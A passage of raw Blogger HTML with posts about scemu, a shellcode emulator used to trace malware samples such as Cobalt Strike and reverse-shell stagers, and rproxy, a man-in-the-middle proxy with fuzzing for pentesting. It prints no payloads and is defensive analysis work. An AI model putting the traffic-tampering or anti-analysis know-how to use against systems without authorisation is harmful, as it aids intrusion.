src="https://blogger.googleusercontent.com/img/a/AVvXsEgP4XmQKm5ePq6zQUzyWAYrKL9Esxw-UshgCIQ2iokAiViORRteh7KHolWQHFqYWXRWTcoThudflj6erFtG_57eXMRILJBo9JzMNLvmPJNzfwo79xDksUyLaDZeOKYw-yscP6VxErW3qyE6wAH0ERwD43le3yESwI1TmZLZZLngPsG-m7JapA=w525-h141" width="525" /></a></div><br /><p>So lets say yes and continue the emulation.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEh5EYfD5HdM594dbzYzo8nu2aWvpTZoLB9Tc6y_rkF34H8u4Lv2o75UclKlFGx3WrVWx58cT6GS2YhRMaKrsNW5_JNcqnH-aS04h3mqfLLR1GaLm1xpZeovodP0VrNYBC9KsT7P81_6IjLyeb3fH7Y7E8sFSgsNQ7wFhgyGkZAOmQTwNg9m3w=s650" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="290" data-original-width="650" height="249" src="https://blogger.googleusercontent.com/img/a/AVvXsEh5EYfD5HdM594dbzYzo8nu2aWvpTZoLB9Tc6y_rkF34H8u4Lv2o75UclKlFGx3WrVWx58cT6GS2YhRMaKrsNW5_JNcqnH-aS04h3mqfLLR1GaLm1xpZeovodP0VrNYBC9KsT7P81_6IjLyeb3fH7Y7E8sFSgsNQ7wFhgyGkZAOmQTwNg9m3w=w557-h249" width="557" /></a></div><br /><p>Both IsDebuggerPresent() and UnHandledExceptionFilter() can be used to detect a debugger, but the emulator return what has to return to not be detected. </p><p>Nevertheless the shellcode detects something and terminates the process.</p><p>Lets trace the branches to understand the logic:</p><p><br /></p><p style="text-align: center;">target/release/scemu -f shellcodes/unsuported_cs.bin -vv | egrep '(\*\*|j|cmp|test)'</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgKBdo6249aWi5uDTluByqPZi8c1OGatk40_EHt9-p9CUWkIXUT5S74CdHzh-JF_pmqS8_whcTvJC1ap0G-l4Fxh-8PfiHJjySTz4C_QpXrq6TLcxhase1-40_3x5dRYL5McNAAgkWDRVcS8oC2JxKIQ_f4mxg4BNnok4DypgsW7GokR3Cibw=s857" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="857" data-original-width="641" height="805" src="https://blogger.googleusercontent.com/img/a/AVvXsEgKBdo6249aWi5uDTluByqPZi8c1OGatk40_EHt9-p9CUWkIXUT5S74CdHzh-JF_pmqS8_whcTvJC1ap0G-l4Fxh-8PfiHJjySTz4C_QpXrq6TLcxhase1-40_3x5dRYL5McNAAgkWDRVcS8oC2JxKIQ_f4mxg4BNnok4DypgsW7GokR3Cibw=w601-h805" width="601" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div>Continuing the emulation it's setting the SEH pointer to previous stage:<div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjBHNdtmb3MPkgDrSmfRIcTFAq1c31jQh8hZ1_X5btKKpFBLVMcHc0KC5gN9AFtvnG65Mcg_g0cu940Cy_JZCxgPDWRP_OUosPypsG4V1qqc1QRg0-v2rilG21VtfjOYzEm5ItKWlhyzr3A-0Mbqr1tbb50eFnfC0dQafKvA45yjuM684Vp-g=s386" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="348" data-original-width="386" height="288" src="https://blogger.googleusercontent.com/img/a/AVvXsEjBHNdtmb3MPkgDrSmfRIcTFAq1c31jQh8hZ1_X5btKKpFBLVMcHc0KC5gN9AFtvnG65Mcg_g0cu940Cy_JZCxgPDWRP_OUosPypsG4V1qqc1QRg0-v2rilG21VtfjOYzEm5ItKWlhyzr3A-0Mbqr1tbb50eFnfC0dQafKvA45yjuM684Vp-g=s320" width="320" /></a></div><br /><div><p>Lets see from the console where is pointing the SEH chain item:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhku6RsJ7sbSnAKg_p05FQ1GhlOwv7uDcAI8rXji8rKYUkYokKSIM_8_SC8qEA5-kLUEIa5AVG2OhANRxX_40ga9P0cQqHVP8uPU_Y1SaDhp7mxyoBymFud903-vSpyB2F3i7lxcyvo4zyd2mZdn7NUZHuHR2stUSEbU8RKnCfCL2r2R9IpyQ=s357" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="197" data-original-width="357" height="261" src="https://blogger.googleusercontent.com/img/a/AVvXsEhku6RsJ7sbSnAKg_p05FQ1GhlOwv7uDcAI8rXji8rKYUkYokKSIM_8_SC8qEA5-kLUEIa5AVG2OhANRxX_40ga9P0cQqHVP8uPU_Y1SaDhp7mxyoBymFud903-vSpyB2F3i7lxcyvo4zyd2mZdn7NUZHuHR2stUSEbU8RKnCfCL2r2R9IpyQ=w473-h261" width="473" /></a></div><br /><p>to be continued ...</p><p><br /></p><p><a href="https://github.com/sha0coder/scemu">https://github.com/sha0coder/scemu</a><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p></div>Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-88138168673691651312021-12-20T13:29:00.005+01:002021-12-20T13:29:49.250+01:00emulating shellcodes - chapter 1<p> There are many basic shellcodes that can be emulated from the beginning from the end providing IOC like where is connecting and so on. But what can we do when the emulation get stuck at some point?</p><p>The console has many tools to interact with the emulator like it was a debugger but the shellcode really is not being executed so is safer than a debugger.</p><blockquote style="border: none; margin: 0 0 0 40px; padding: 0px;"><p style="text-align: center;">target/release/scemu -f ~/Downloads/shellcodes_matched/drv_shellcode.bin -vv </p></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhK6MxwSYiFEN5gTpo6QcUXL00LggydD-ag0kzWJXNTEzbwDruGGfxGEUf5CnpAPnlYl1_YI2cDow1pdjMjaE0tt7JIuFaoHt0McdXEr2w9Q-ctsVPqsSEVc-DMV79hyOJ3MS1Oga6IfbWuDdzZaQH05notLxXzOEf1vPs81bS2EZ5yljYydA=s870" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="450" data-original-width="870" height="302" src="https://blogger.googleusercontent.com/img/a/AVvXsEhK6MxwSYiFEN5gTpo6QcUXL00LggydD-ag0kzWJXNTEzbwDruGGfxGEUf5CnpAPnlYl1_YI2cDow1pdjMjaE0tt7JIuFaoHt0McdXEr2w9Q-ctsVPqsSEVc-DMV79hyOJ3MS1Oga6IfbWuDdzZaQH05notLxXzOEf1vPs81bS2EZ5yljYydA=w581-h302" width="581" /></a></div><br /><p>In some shellcodes the emulator emulates millions of instructions without problem, but in this case at instruction number 176 there is a crash, the [esp + 30h] contain an unexpected 0xffffffff.</p><p>There are two ways to trace the memory, tracing all memory operations with -m or inspecting specific place with -i which allow to use registers to express the memory location:</p><p style="text-align: center;">target/release/scemu -f ~/Downloads/shellcodes_matched/drv_shellcode.bin -i 'dword ptr [esp + 0x30]'</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEj3gym9Ftqi9_dY8iDXaY1WJX54sP4FY7YR6u7787OmwRZ--I3g2rgsj1l8ztyKibcQWIk-mM_Y-oFAEC-3A66pv-MggpvJmbERrw0TXgL7QVXLUs5RP44rKorOEfPZE-k85KgUy2GVCM4Jeh99ZKaFNWmIcHgidEjeS-nalBXdNOQ-vu6W-g=s954" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="342" data-original-width="954" height="198" src="https://blogger.googleusercontent.com/img/a/AVvXsEj3gym9Ftqi9_dY8iDXaY1WJX54sP4FY7YR6u7787OmwRZ--I3g2rgsj1l8ztyKibcQWIk-mM_Y-oFAEC-3A66pv-MggpvJmbERrw0TXgL7QVXLUs5RP44rKorOEfPZE-k85KgUy2GVCM4Jeh99ZKaFNWmIcHgidEjeS-nalBXdNOQ-vu6W-g=w553-h198" width="553" /></a></div><br /><p style="text-align: left;">Now we know that in position 174 the value 0xffffffff is set.</p><p style="text-align: left;">But we have more control if we set the console at first instruction with -c 1 and set a memory breakpoint on write.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEi1aTgJ75w5McmU7-15uYZ5pRy10AHj0m0Zi_okkPEcnDkR7Lo-4Opv9itKSba3_Qjd329YbxJujeD1-ktBmiaayj4Rjsz96irmy0NQ8_1rb69USppb9b70svrh79bMdsa4GJkkXwEUFpdVKV4HOUMIYer_GsMgKKvzJlSSIDOis_2kKlRehg=s223" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="88" data-original-width="223" height="131" src="https://blogger.googleusercontent.com/img/a/AVvXsEi1aTgJ75w5McmU7-15uYZ5pRy10AHj0m0Zi_okkPEcnDkR7Lo-4Opv9itKSba3_Qjd329YbxJujeD1-ktBmiaayj4Rjsz96irmy0NQ8_1rb69USppb9b70svrh79bMdsa4GJkkXwEUFpdVKV4HOUMIYer_GsMgKKvzJlSSIDOis_2kKlRehg=w332-h131" width="332" /></a></div><p style="text-align: left;"><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgQR9suDrvphVTFCkdZgscEyavYfejtIPq6A6Y5EnzKkyGY_grsXG26eURwST6ER68YCzx3e9NuHBMgvLNGIEdhW_S42Ed_58hVktULYH9s_nduIyLXqXfd1WL3twZrygjHyBrpPV_52z6mbVROR0WQP16Toziw1B7sYmj0WmGs1XrvsQyBLQ=s344" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="145" data-original-width="344" height="194" src="https://blogger.googleusercontent.com/img/a/AVvXsEgQR9suDrvphVTFCkdZgscEyavYfejtIPq6A6Y5EnzKkyGY_grsXG26eURwST6ER68YCzx3e9NuHBMgvLNGIEdhW_S42Ed_58hVktULYH9s_nduIyLXqXfd1WL3twZrygjHyBrpPV_52z6mbVROR0WQP16Toziw1B7sYmj0WmGs1XrvsQyBLQ=w459-h194" width="459" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><p style="text-align: left;">This "dec" instruction changes the zero for the 0xffffffff, and the instruction 90 is what actually is changing the stack value.</p><p style="text-align: left;">Lets trace the eax register to see if its a kind of counter or what is doing.</p><p style="text-align: left;"><br /></p><div style="text-align: center;">target/release/scemu -f ~/Downloads/shellcodes_matched/drv_shellcode.bin --reg eax </div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgahH5mQo_FIkFBDBZNkgSTWHtkRk4-qGnqOIW4uBv9iwNbZixUCCV3cc8Gtw_2hZb973aLBsgQkT5wnZu8LaPajG3hVE9_T4wD6r39U4wb18RlBrIeVlnzOGwYKucbDDBbg2__603K50VZuReLsJjhwohJBGcbWkzJaY_q-K2XnqCIRFTTmA=s599" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="599" data-original-width="363" height="559" src="https://blogger.googleusercontent.com/img/a/AVvXsEgahH5mQo_FIkFBDBZNkgSTWHtkRk4-qGnqOIW4uBv9iwNbZixUCCV3cc8Gtw_2hZb973aLBsgQkT5wnZu8LaPajG3hVE9_T4wD6r39U4wb18RlBrIeVlnzOGwYKucbDDBbg2__603K50VZuReLsJjhwohJBGcbWkzJaY_q-K2XnqCIRFTTmA=w339-h559" width="339" /></a></div><br /><div>Eax is not a counter, is getting hardcoded values which is probably an API name:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEhmCJkVGJ-eYz-mURm4xZ49q5cN2QJZ89FlvQFo1H01q-1imF8IKi4bkQS8St3ySISlf_ca0Ov9jPUaT9my3kqxQPh4n-8Waok3JAYKrOSCCr4Phwsu7IWBGCQyPcwUyKJgpw1cIqZX8zaJvgn7DtPs7C9nt55UvN6hywmvTkv-NEXKaIkxvA=s672" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="593" data-original-width="672" height="538" src="https://blogger.googleusercontent.com/img/a/AVvXsEhmCJkVGJ-eYz-mURm4xZ49q5cN2QJZ89FlvQFo1H01q-1imF8IKi4bkQS8St3ySISlf_ca0Ov9jPUaT9my3kqxQPh4n-8Waok3JAYKrOSCCr4Phwsu7IWBGCQyPcwUyKJgpw1cIqZX8zaJvgn7DtPs7C9nt55UvN6hywmvTkv-NEXKaIkxvA=w610-h538" width="610" /></a></div><br /><div>In this case this shellcode depend on previous states and crash also in the debugger because of register values. this is just an example of how to operate in cases where is not fully emulated.</div><div><br /></div><div>In next chapter will see how to unpack and dump to disk using the emulator.</div><div><br /></div><div><br /></div>Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-61960891782749368912021-12-07T22:02:00.005+01:002021-12-07T22:02:47.123+01:00fast emulator for shellcodes in rust<p>I have developed a fast emulator for modern shellcodes, that perform huge loops of millions of instructions emulated for resolving API or for other stuff.</p><p>The emulator is in Rust and all the few dependencies as well, so the rust safety is good for emulating malware. </p><p>There are shellcodes that can be emulated from the beginning to the end, but when this is not possible the tool has many features that can be used like a console, a memory tracing, register tracing, and so on.</p><p><a href="https://github.com/sha0coder/scemu">https://github.com/sha0coder/scemu</a></p><p><br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitjo9SxGGMWdhDRh3B-DNHawRh3KF8LPS7d14EVbskjpCnGS8Sjuo16gKU93WqNRCe1ThY64GfXFjPaydfxSxsHk-A3efd9BLBh-FoH95nXsVR38iI5A_0LA_JCq2rdASEiw9X/s900/shikata.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="900" height="253" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitjo9SxGGMWdhDRh3B-DNHawRh3KF8LPS7d14EVbskjpCnGS8Sjuo16gKU93WqNRCe1ThY64GfXFjPaydfxSxsHk-A3efd9BLBh-FoH95nXsVR38iI5A_0LA_JCq2rdASEiw9X/w635-h253/shikata.png" width="635" /></a></div><br /><p>In less than two seconds we have emulated 7 millions of instructions arriving to the recv. </p><p>At this point we have some IOC like the ip:port where it's connecting and other details.</p><p>Lets see what happens after the recv() spawning a console at position: 7,012,204</p><p><br /></p><p style="text-align: center;">target/release/scemu -f shellcodes/shikata.bin -vv -c 7012204</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6fm8Lfg5oPWV0Qqxv9WDz6IoaQmaQUb0VaLiRdLKy9mwyke5q7mlkA5Mw8Rb8aHx_cnVHxskQKjCgQrM2BgeWDkZ31z2wTwVwRHMwgU6ItlzlVNk-ClZvE_67QIx0ybWdK1xj/s886/shikata_console2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="886" data-original-width="514" height="739" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6fm8Lfg5oPWV0Qqxv9WDz6IoaQmaQUb0VaLiRdLKy9mwyke5q7mlkA5Mw8Rb8aHx_cnVHxskQKjCgQrM2BgeWDkZ31z2wTwVwRHMwgU6ItlzlVNk-ClZvE_67QIx0ybWdK1xj/w430-h739/shikata_console2.png" width="430" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div>In the console, pressing "enter" several times to emulate step into several steps and we arrive to a return instruction.<div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMvobv8rU19kgNag470ZYAIs4Wl15B-0bfX5fogxWWtXvmyfNYeEw0Vrpli2k5M7MCVTDb2McJmfAh0IZyzL6fZB5nQX4qtJIxErSZOHNCWkIPqsV9OBvOS1Q4BqaKBT9D3s70/s541/step.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="541" data-original-width="443" height="528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMvobv8rU19kgNag470ZYAIs4Wl15B-0bfX5fogxWWtXvmyfNYeEw0Vrpli2k5M7MCVTDb2McJmfAh0IZyzL6fZB5nQX4qtJIxErSZOHNCWkIPqsV9OBvOS1Q4BqaKBT9D3s70/w433-h528/step.png" width="433" /></a></div><br /><div>Let's see the stack in this moment:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTxKMRp6AqgnJ8GslB3uH7ThYRCxIRRoS3rwmMfcrjcaCeFSWRXk_ggyNaFJ0k5_pkP9DW9bdWMDbSa80F08mflPEjJwq6AA7lV8Mn4jkpEpV0bZqb6up9Nq20Fq0ax6Ns19Ax/s436/stack.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="436" data-original-width="324" height="586" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTxKMRp6AqgnJ8GslB3uH7ThYRCxIRRoS3rwmMfcrjcaCeFSWRXk_ggyNaFJ0k5_pkP9DW9bdWMDbSa80F08mflPEjJwq6AA7lV8Mn4jkpEpV0bZqb6up9Nq20Fq0ax6Ns19Ax/w435-h586/stack.png" width="435" /></a></div><br /><div><br /><p>The "ret" instruction is going to jump to the buffer read with recv() so is a kind of stager.</p><p>The option "-e" or "--endpoint" is not ready for now, but it will allow to proxy the calls to get the next stage automatically, but for now we have the details to get the stage.</p><p><br /></p><p>SCEMU also identify all the Linux syscalls for 32bits shellcodes:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfyQQ6tZka_DxJJBLXOKDOHrQjYXMmeysf9DFv92Rf0iq9HmLqjCckDBWURyMmyNmQ_iYPiHlwyC6AGvk7syPLi_lpNYyDI-K4xU05VKaxhrKPMjGQ-AuG7hubUuGdasGWom1U/s742/linux.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="221" data-original-width="742" height="177" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfyQQ6tZka_DxJJBLXOKDOHrQjYXMmeysf9DFv92Rf0iq9HmLqjCckDBWURyMmyNmQ_iYPiHlwyC6AGvk7syPLi_lpNYyDI-K4xU05VKaxhrKPMjGQ-AuG7hubUuGdasGWom1U/w599-h177/linux.png" width="599" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh-9hJ7ySWiBgxupdba3PBTb-Bfar_Hly4b63hp8Q5fIuJCqR1ZEw_CeazyMnaKd_Of7MHAF4doaB7vGE5tyja9FY7UC8-k1HQkr5GLic0OSPJ8WFZtnxGKxDaQRwLcQgVn4At/s647/shellgen.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="325" data-original-width="647" height="305" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh-9hJ7ySWiBgxupdba3PBTb-Bfar_Hly4b63hp8Q5fIuJCqR1ZEw_CeazyMnaKd_Of7MHAF4doaB7vGE5tyja9FY7UC8-k1HQkr5GLic0OSPJ8WFZtnxGKxDaQRwLcQgVn4At/w605-h305/shellgen.png" width="605" /></a></div><br /><p>The encoder used in shellgen is also supported <a href="https://github.com/MarioVilas/shellgen">https://github.com/MarioVilas/shellgen</a></p><p>Let's check with cobalt-strike:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg793yNEBZzN-QETfaWPdci-DW8Rv3MOjMUYW7cWipYw7D906D63fJZeEtHdO7x8qTUSFow5SnbpN0Ubp7vPTvttYaaHjtCKjV-L0xGz0H9xTh0f9TUWEN4nRJ5yYsGuNodprJy/s955/cobalt_strike1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="586" data-original-width="955" height="357" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg793yNEBZzN-QETfaWPdci-DW8Rv3MOjMUYW7cWipYw7D906D63fJZeEtHdO7x8qTUSFow5SnbpN0Ubp7vPTvttYaaHjtCKjV-L0xGz0H9xTh0f9TUWEN4nRJ5yYsGuNodprJy/w583-h357/cobalt_strike1.png" width="583" /></a></div><div><br /></div>We can see where is connecting and which headers is using, so right now we can replicate the communications.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCA85O3ArB0_kXeCA2lvLulYlSqsjVj4Qqvyr1K311VxPaOT6vq1TZ0k488TXh4g29NAv6_rc_oTDZgU5lOR7Sfk2H2w8IcQRq0rNe2FwfavnLVay0zOSOBGD3AWQNlpaPOh3W/s788/cobalt_strike2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="380" data-original-width="788" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCA85O3ArB0_kXeCA2lvLulYlSqsjVj4Qqvyr1K311VxPaOT6vq1TZ0k488TXh4g29NAv6_rc_oTDZgU5lOR7Sfk2H2w8IcQRq0rNe2FwfavnLVay0zOSOBGD3AWQNlpaPOh3W/w590-h284/cobalt_strike2.png" width="590" /></a></div><br /><div><br /><p>In verbose mode we could do several greps to see the calls and correlate with ghidra/ida/radare or for example grep the branches to study the emulation flow.</p><p><br /></p><p style="text-align: center;">target/release/scemu -f shellcodes/rshell_sgn.bin -vv | grep j</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifo0HMwqCZ0M1cNQiP_Ig7olIoYXbbxsAGRX-rIn6OBlTBmTG27MNvPQvEf22PCasxbTMdmB0Tk67FzGysK5muKxK2N7mY87eipGAuf2vt04gdR0uLfKU39fwTC6LFAeUyf29d/s497/emulation_flow.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="423" data-original-width="497" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifo0HMwqCZ0M1cNQiP_Ig7olIoYXbbxsAGRX-rIn6OBlTBmTG27MNvPQvEf22PCasxbTMdmB0Tk67FzGysK5muKxK2N7mY87eipGAuf2vt04gdR0uLfKU39fwTC6LFAeUyf29d/w483-h410/emulation_flow.png" width="483" /></a></div><br /><p style="text-align: center;">target/release/scemu -f shellcodes/rshell_sgn.bin -vv -c 44000 -l</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLc7DAIODQ67XuEwN407o0wRi6zF8XEdGLTLWZBRxD0W9KhGHSb3pc_gthekHtzH52TX_LXptPD7LcrumVVaEJ8c9PkAsfRIW2qvm3nNkOWQm4TTbkZK5kteU_2FB5jTCQ5D6H/s591/iterations.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="591" data-original-width="447" height="533" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLc7DAIODQ67XuEwN407o0wRi6zF8XEdGLTLWZBRxD0W9KhGHSb3pc_gthekHtzH52TX_LXptPD7LcrumVVaEJ8c9PkAsfRIW2qvm3nNkOWQm4TTbkZK5kteU_2FB5jTCQ5D6H/w403-h533/iterations.png" width="403" /></a></div><div><br /></div>The -l --loops options makes the emulation a bit slower but track the number of iterations.</div><div><br /></div><div>Is possible to print all the registers in every step with -r or --registers but also is possible to track specific register for example with --reg esi</div><div><br /></div><div><br /></div><div style="text-align: center;">target/release/scemu -f shellcodes/shikata.bin --reg esi </div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUff_Dqd3MFeaTis_t93Vq4hXH6oP-1haqgMsuyNaNUjUuiSQiFjBaefJXHMsNG2dE_QbqAvJ87ya-ObqNOfOyfZ31spkIHpJHBtFNN6LbVVN6oPKVBjGOR5-ZYxv0DmvHSuI_/s744/track_register.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="707" data-original-width="744" height="487" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUff_Dqd3MFeaTis_t93Vq4hXH6oP-1haqgMsuyNaNUjUuiSQiFjBaefJXHMsNG2dE_QbqAvJ87ya-ObqNOfOyfZ31spkIHpJHBtFNN6LbVVN6oPKVBjGOR5-ZYxv0DmvHSuI_/w513-h487/track_register.png" width="513" /></a></div><div><br /></div>In this case ESI register points to the API name, if we track EAX or ECX will see that are the counters of the loop. These shellcodes contains a hard loop to locate the API names.<div><br /></div><div>The flag -i or --inspect allow to monitor memory using expressions like "dword ptr [eax + 0xa]"</div><div><br /></div><div><div style="text-align: center;">target/release/scemu -f shellcodes/shikata.bin -i 'dword ptr [esi]'</div><div style="text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz4Q6PyH9xpofUVnSd3pC6RTFCwXd5x7-UOSAnbWU9V2pPNYF2eUnzgqy3Vi7DjYs6OPUOgoGMGjEjxzFPdQ848MGBt65ILt9Z9VNasuNMYTR4TktGnD1G7aw3Y_DTdqtYyA7x/s1260/inspect.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="345" data-original-width="1260" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz4Q6PyH9xpofUVnSd3pC6RTFCwXd5x7-UOSAnbWU9V2pPNYF2eUnzgqy3Vi7DjYs6OPUOgoGMGjEjxzFPdQ848MGBt65ILt9Z9VNasuNMYTR4TktGnD1G7aw3Y_DTdqtYyA7x/w675-h186/inspect.png" width="675" /></a></div><div><p style="text-align: left;">And more things to come... find a demo below:</p><p style="text-align: left;"><a href="https://www.youtube.com/watch?v=qTYmMjW3DFs">https://www.youtube.com/watch?v=qTYmMjW3DFs</a><br /></p><p style="text-align: left;"><br /></p><div><br /></div><p><br /></p><p><br /></p></div></div>Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-67122986627396631022020-11-11T18:58:00.003+01:002020-11-11T19:01:10.286+01:00 multi-protocol proxy over TCP & UDP<p>Many years ago I programed a console based multi protocol proxy (the sha0proxy) lately I created in dotnet a graphical verison of the tool, but due to the form referesh speed finally I implemented it in C++ with Qt.</p><p>This tool useful for reversing, exploiting & pentesting was finally called <b>rproxy</b>, and its a multi-protocol proxy over TCP or UDP.</p><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEEK3PF3f1yWqIsu3NTE4WYApbc2jNv9jXrXLWX4qI-2Qx7P7R5oAruAeHr5Ji8L-UzUmY-gj2ert4pJfZeIQncG9FCleobLGoQktzcbYzKPcVV54aH85C_VVX-gy7LwcKNFhyphenhyphen/s724/rproxy_tool.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="639" data-original-width="724" height="481" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEEK3PF3f1yWqIsu3NTE4WYApbc2jNv9jXrXLWX4qI-2Qx7P7R5oAruAeHr5Ji8L-UzUmY-gj2ert4pJfZeIQncG9FCleobLGoQktzcbYzKPcVV54aH85C_VVX-gy7LwcKNFhyphenhyphen/w547-h481/rproxy_tool.png" width="547" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><p>Being in the middle of the communication you can view and modify the bytes before being sent to the client or server.</p><p>In the tools tab right now its possible to open the blob on <b>radare2</b> for further reversing of the data structures or code.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSnWYDKiUcfs1uz1ajWdemsdxBmz7KMHugeHnsocWGs3flnjcLg0_iDSm_BfxD-QNLGuwqB0O8aVtb8BvNpNPi9UkPQ5pNB4luNlsAuOoZBI4IIZzt2bcjcCA3PoK1O0XN4qHV/s740/radare2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="640" data-original-width="740" height="413" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSnWYDKiUcfs1uz1ajWdemsdxBmz7KMHugeHnsocWGs3flnjcLg0_iDSm_BfxD-QNLGuwqB0O8aVtb8BvNpNPi9UkPQ5pNB4luNlsAuOoZBI4IIZzt2bcjcCA3PoK1O0XN4qHV/w477-h413/radare2.png" width="477" /></a></div><br /><p>A basic mutation based fuzzer is implemented for bug-hunting, just set the % ratio of mutation and the bytes will be modified during specific communications phase.</p><p>One of the powerful things of this tool is the scripting, it is possible to automate a modification in specific moment of the traffic flow.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUqv_Hi8OEQ1-r8jnpaF_wgix7JD2UBbJ0yPkqGwOHVdN19sKuIhiMdABducb5_l8USkQAJ57NfU6rH7Cf9OyhrOOmymduDtcdX3qURoW3SCvWS-VxLSVgU43-8Sz5NiWU9Dyr/s724/scripts.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="639" data-original-width="724" height="421" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUqv_Hi8OEQ1-r8jnpaF_wgix7JD2UBbJ0yPkqGwOHVdN19sKuIhiMdABducb5_l8USkQAJ57NfU6rH7Cf9OyhrOOmymduDtcdX3qURoW3SCvWS-VxLSVgU43-8Sz5NiWU9Dyr/w478-h421/scripts.png" width="478" /></a></div><br /><div class="separator" style="clear: both; text-align: 